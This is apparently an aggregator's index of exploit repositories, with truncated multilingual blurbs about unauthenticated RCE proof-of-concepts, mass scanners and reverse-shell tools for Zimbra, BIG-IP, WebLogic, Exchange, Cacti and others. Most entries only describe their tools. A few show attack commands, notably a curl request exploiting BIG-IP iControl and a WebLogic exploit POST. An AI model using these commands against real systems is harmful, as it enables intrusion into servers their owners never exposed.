cve-2022-41352-zimbra-rce

CVE-2022-41352 Zimbra Nicht authentifizierte RCE CVE-2022-41352 ist eine Schwachstelle, die das Schreiben beliebiger Dateien arbitrary file write in Zimbra-Mailservern ermöglicht, verursacht durch die Verwendung einer verwundbaren cpio-Version. CVE-2022-41352 NIST.gov CVE-2022-41352 Rapid7-Analys...

hdwebmobile-formula-pricing

Prezzi con Formula HDWebmobile Prezza un prodotto in base a numeri inseriti dal cliente utilizzando una formula — valutata in modo sicuro, mai con la funzione eval di PHP. WordPress.org: https://wordpress.org/plugins/hdwebmobile-formula-pricing/ Richiede: WordPress 6.9+, WooCommerce, PHP 7.4+...

CVE-2021-22986-Poc

CVE-2021-22986-Poc Dies ist ein PoC für BIGIP iControl unauth RCE POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

VisualDoor

VisualDoor SonicWall SSL-VPN Exploit, as used by Phineas Fisher to hack Cayman Trust Bank and Hacking Team. Unauthenticated, gives you a "nobody" shell. Getting root is an exercise for the user. For details see: https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/...

proxylogscan

proxylogscan Questo strumento esegue una scansione di massa alla ricerca di una vulnerabilità in Microsoft Exchange Server che consente a un attaccante di bypassare l'autenticazione e impersonare l'amministratore CVE-2021-26855. Concatenando questo bug con un'altra vulnerabilità post-autenticazio...

bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork

CVE-2026-73678 — RCE non autenticata in MindsDB Minds Platform / MindsHub Cowork PoC per CVE-2026-73678 CVSS 3.1 10.0 Critico , AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Analisi completa: www.hunt-benito.com/blog/bring-your-own-key-cve-2026-73678-unauthenticated-rce-in-mindsdb-cowork/ Il sidecar FastA...

CVE-2025-32433-PoC-Analysis

FAQ - CVE-2025-32433 1. Che cos'è Erlang OTP? Erlang è un linguaggio di programmazione generico. OTP Open Telecom Platform è una raccolta di middleware, librerie e principi di progettazione utilizzati per la tolleranza ai guasti tramite la BEAM VPN. 2. Perché questa versione di Erlang è...

CVE-2017-10271

CVE-2017-10271 identificazione e sfruttamento. RCE Weblogic non autenticata. https://nvd.nist.gov/vuln/detail/CVE-2017-10271 https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html root@kitploit: POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: SOMEHOSTHERE Content-Length: 122...

CVE-2020-14882

CVE-2020-14882: Deployare webshell in memoria di Behinder Come noto, CVE-2020-14882 è una vulnerabilità di autorizzazione non autenticata che consente a un attaccante di eseguire codice arbitrario su un server WebLogic vulnerabile. I PoC pubblici online sfruttano caratteri illegali per bypassare...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Nicht authentifizierte Remotecodeausführung https://vulners.com/cve/CVE-2022-24637 Beispiel root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

Scanner_CVE_OpenSSH

Scanner per l'identificazione di server con software SSH potenzialmente vulnerabili a CVE-2024-6387 e CVE-2023-48795. CVE Coperte CVE| Nome| Condizione| Severità ---|---|---|--- CVE-2024-6387| regreSSHion| OpenSSH 9.8p1| CRITICAL CVE-2023-48795| Terrapin| OpenSSH 9.6| HIGH CVE-2024-6387 —...

CVE-2026-3844

root@kitploit: ╔════════════════════════════════════════════════════════════╗ ║ CVE-2026-3844 ║ ║ Breeze Cache = 2.4.4 Arbitrary File Upload ║ ║ Unauthenticated RCE | Authorized Lab Use Only ║ ╚════════════════════════════════════════════════════════════╝ Panoramica CVE-2026-3844 è una...

CVE-2026-42945-nginx-rift-poc

NGINX Rift — CVE-2026-42945 Proof-of-concept di RCE per CVE-2026-42945 , una vulnerabilità critica di heap buffer overflow nel modulo ngxhttprewritemodule di NGINX introdotta nel 2008. Consente l'esecuzione remota di codice non autenticata contro server che utilizzano combinazioni di rewrite...

CVE-2022-46169-Exploit

CVE-2022-46169 PoC - RCE non autenticata in Cacti 1.2.22 Questo repository contiene un exploit per CVE-2022-46169, che colpisce Cacti 1.2.22. Questa vulnerabilità consente a un attaccante non autenticato di eseguire codice arbitrario sul sistema interessato. Se desideri una descrizione dettagliat...

CVE-2024-25600-Bricks-Builder-WordPress

Ferramenta de Exploração CVE-2024-25600 🚀 Descrição 📝 Esta ferramenta 🛠️ foi projetada para explorar a vulnerabilidade CVE-2024-25600 🕳️ encontrada no plugin Bricks Builder para WordPress. A vulnerabilidade permite a execução remota de código não autenticada em sites afetados 💻. A ferramenta...

CVE-2025-32433-PoC

CVE-2025-32433: Erlang/OTP SSH – Nicht authentifizierte RCE PoC Dieses Repository enthält einen Proof-of-Concept PoC für CVE-2025-32433, eine kritische, nicht authentifizierte Schwachstelle zur Remotecodeausführung RCE, die die SSH-Serverimplementierung in Erlang/Open Telecom Platform OTP betriff...

CVE-2022-46169

CVE-2022-46169 Questo repository contiene un Proof of Concept PoC per CVE-2022-46169 - RCE non autenticato su Cacti = 1.2.22. Puoi leggere ulteriori informazioni sulla vulnerabilità qui. Lo script aggiunge un handler per reverse shell ed è basato sul codice scritto da sAsPeCt488. Puoi visualizzar...

CVE-2020-14882

Oracle WebLogic Nicht authentifizierter RCE-Exploit Dieses PowerShell-Skript nutzt CVE-2020-14882 aus, um eine nicht authentifizierte Remote-Codeausführung auf Oracle WebLogic Server-Versionen zu erreichen: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 12.2.1.4.0 14.1.1.0.0 Verwendung root@kitploit:...

CVE-2024-7954

CVE-2024-7954 Questo exploit tenterà di eseguire comandi di sistema su target SPIP CVE-2024-7954. Panoramica Questo è uno strumento di scansione di massa e sfruttamento per CVE-2024-7954: SPIP 4.2.8 consente ad attaccanti non autenticati di lanciare RCE su target SPIP. Questo strumento si basa su...

SMBGhost-WorkaroundApplier

Applicatore di Workaround SMBGhost per CVE-2020-0796 - RCE non autenticata SMBv3 Questo scanner ha la capacità di rilevare e applicare il workaround nel caso in cui il tuo sistema non sia ancora stato patchato. Lo scanner cerca la vulnerabilità solo nel tuo sistema. Dovresti eseguire questo scrip...